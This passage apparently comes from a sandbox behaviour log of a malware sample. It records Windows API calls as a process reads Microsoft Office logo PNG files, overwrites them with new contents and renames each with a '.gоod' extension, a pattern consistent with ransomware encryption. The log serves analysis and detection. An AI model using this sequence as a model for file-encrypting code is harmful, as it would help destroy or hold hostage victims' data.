Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-140.png.gоod")) returned 1 [0244.531] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x66 [0244.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0244.871] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x38ef7a0 | out: lpFileInformation=0x38ef7a0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b5)) returned 1 [0244.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0244.871] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x66 [0244.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0244.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0244.872] GetFileType (hFile=0x824) returned 0x1 [0244.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0244.872] GetFileType (hFile=0x824) returned 0x1 [0244.872] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x9b5 [0244.872] ReadFile (in: hFile=0x824, lpBuffer=0x3ab0000, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3ab0000*, lpNumberOfBytesRead=0x1fcee238*=0x9b5, lpOverlapped=0x0) returned 1 [0244.957] CloseHandle (hObject=0x824) returned 1 [0244.984] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x66 [0244.984] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0244.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-180.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0244.985] GetFileType (hFile=0x824) returned 0x1 [0244.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0244.985] GetFileType (hFile=0x824) returned 0x1 [0244.985] WriteFile (in: hFile=0x824, lpBuffer=0x3c24a20*, nNumberOfBytesToWrite=0x9c0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x3c24a20*, lpNumberOfBytesWritten=0x1fcee148*=0x9c0, lpOverlapped=0x0) returned 1 [0244.985] CloseHandle (hObject=0x824) returned 1 [0244.985] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png", lpFilePart=0x0) returned 0x66 [0244.986] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png.gоod", lpFilePart=0x0) returned 0x6b [0244.986] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0244.986] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8e3d7276, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x9c0)) returned 1 [0244.986] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0244.986] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-180.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-180.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-180.png.gоod")) returned 1 [0244.987] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x65 [0244.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0244.987] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x3c25d70 | out: lpFileInformation=0x3c25d70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x62e)) returned 1 [0244.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0244.987] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x65 [0244.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0244.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0244.987] GetFileType (hFile=0x824) returned 0x1 [0244.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0244.987] GetFileType (hFile=0x824) returned 0x1 [0244.987] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x62e [0244.987] ReadFile (in: hFile=0x824, lpBuffer=0x3c26738, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3c26738*, lpNumberOfBytesRead=0x1fcee238*=0x62e, lpOverlapped=0x0) returned 1 [0245.094] CloseHandle (hObject=0x824) returned 1 [0245.109] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x65 [0245.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0245.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-80.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0245.467] GetFileType (hFile=0x824) returned 0x1 [0245.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0245.468] GetFileType (hFile=0x824) returned 0x1 [0245.984] WriteFile (in: hFile=0x824, lpBuffer=0x37043a0*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37043a0*, lpNumberOfBytesWritten=0x1fcee148*=0x630, lpOverlapped=0x0) returned 1 [0245.985] CloseHandle (hObject=0x824) returned 1 [0245.985] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png", lpFilePart=0x0) returned 0x65 [0245.985] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png.gоod", lpFilePart=0x0) returned 0x6a [0245.985] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0245.985] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-80.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8ed5f948, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x630)) returned 1 [0245.985] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0245.985] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-80.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.contrast-white_scale-80.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.contrast-white_scale-80.png.gоod")) returned 1 [0245.987] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x57 [0245.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0245.987] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x37056f0 | out: lpFileInformation=0x37056f0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x739)) returned 1 [0245.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0245.987] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x57 [0245.987] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0245.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-100.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0245.987] GetFileType (hFile=0x824) returned 0x1 [0245.987] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0245.987] GetFileType (hFile=0x824) returned 0x1 [0245.987] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x739 [0245.987] ReadFile (in: hFile=0x824, lpBuffer=0x3706158, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3706158*, lpNumberOfBytesRead=0x1fcee238*=0x739, lpOverlapped=0x0) returned 1 [0245.988] CloseHandle (hObject=0x824) returned 1 [0246.000] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x57 [0246.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0246.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-100.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0246.001] GetFileType (hFile=0x824) returned 0x1 [0246.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0246.001] GetFileType (hFile=0x824) returned 0x1 [0246.001] WriteFile (in: hFile=0x824, lpBuffer=0x377fcd8*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x377fcd8*, lpNumberOfBytesWritten=0x1fcee148*=0x740, lpOverlapped=0x0) returned 1 [0246.001] CloseHandle (hObject=0x824) returned 1 [0246.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png", lpFilePart=0x0) returned 0x57 [0246.002] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png.gоod", lpFilePart=0x0) returned 0x5c [0246.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0246.002] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-100.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8ed85b27, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x740)) returned 1 [0246.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0246.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-100.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-100.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-100.png.gоod")) returned 1 [0246.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x57 [0246.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0246.003] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x3780fd8 | out: lpFileInformation=0x3780fd8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4)) returned 1 [0246.003] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0246.003] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x57 [0246.003] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0246.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-140.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0246.004] GetFileType (hFile=0x824) returned 0x1 [0246.004] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0246.004] GetFileType (hFile=0x824) returned 0x1 [0246.004] GetFileSize (in: hFile=0x824, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x7e4 [0246.004] ReadFile (in: hFile=0x824, lpBuffer=0x3781ae8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x3781ae8*, lpNumberOfBytesRead=0x1fcee238*=0x7e4, lpOverlapped=0x0) returned 1 [0246.005] CloseHandle (hObject=0x824) returned 1 [0246.016] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x57 [0246.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0246.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-140.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x824 [0246.017] GetFileType (hFile=0x824) returned 0x1 [0246.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0246.017] GetFileType (hFile=0x824) returned 0x1 [0246.017] WriteFile (in: hFile=0x824, lpBuffer=0x37fb768*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x37fb768*, lpNumberOfBytesWritten=0x1fcee148*=0x7f0, lpOverlapped=0x0) returned 1 [0246.017] CloseHandle (hObject=0x824) returned 1 [0246.018] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png", lpFilePart=0x0) returned 0x57 [0246.018] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png.gоod", lpFilePart=0x0) returned 0x5c [0246.018] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0246.018] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-140.png"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8edabd68, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7f0)) returned 1 [0246.018] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0246.018] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-140.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-140.png.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-140.png.gоod")) returned 1 [0246.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x57 [0246.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0246.019] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-180.png"), fInfoLevelId=0x0, lpFileInformation=0x37fca68 | out: lpFileInformation=0x37fca68*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x982)) returned 1 [0246.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0246.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png", lpFilePart=0x0) returned 0x57 [0246.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0246.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\MsPubLogoSmall.scale-180.png" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\mspublogosmall.scale-180.png"), dwDesiredAccess=0x80000000, 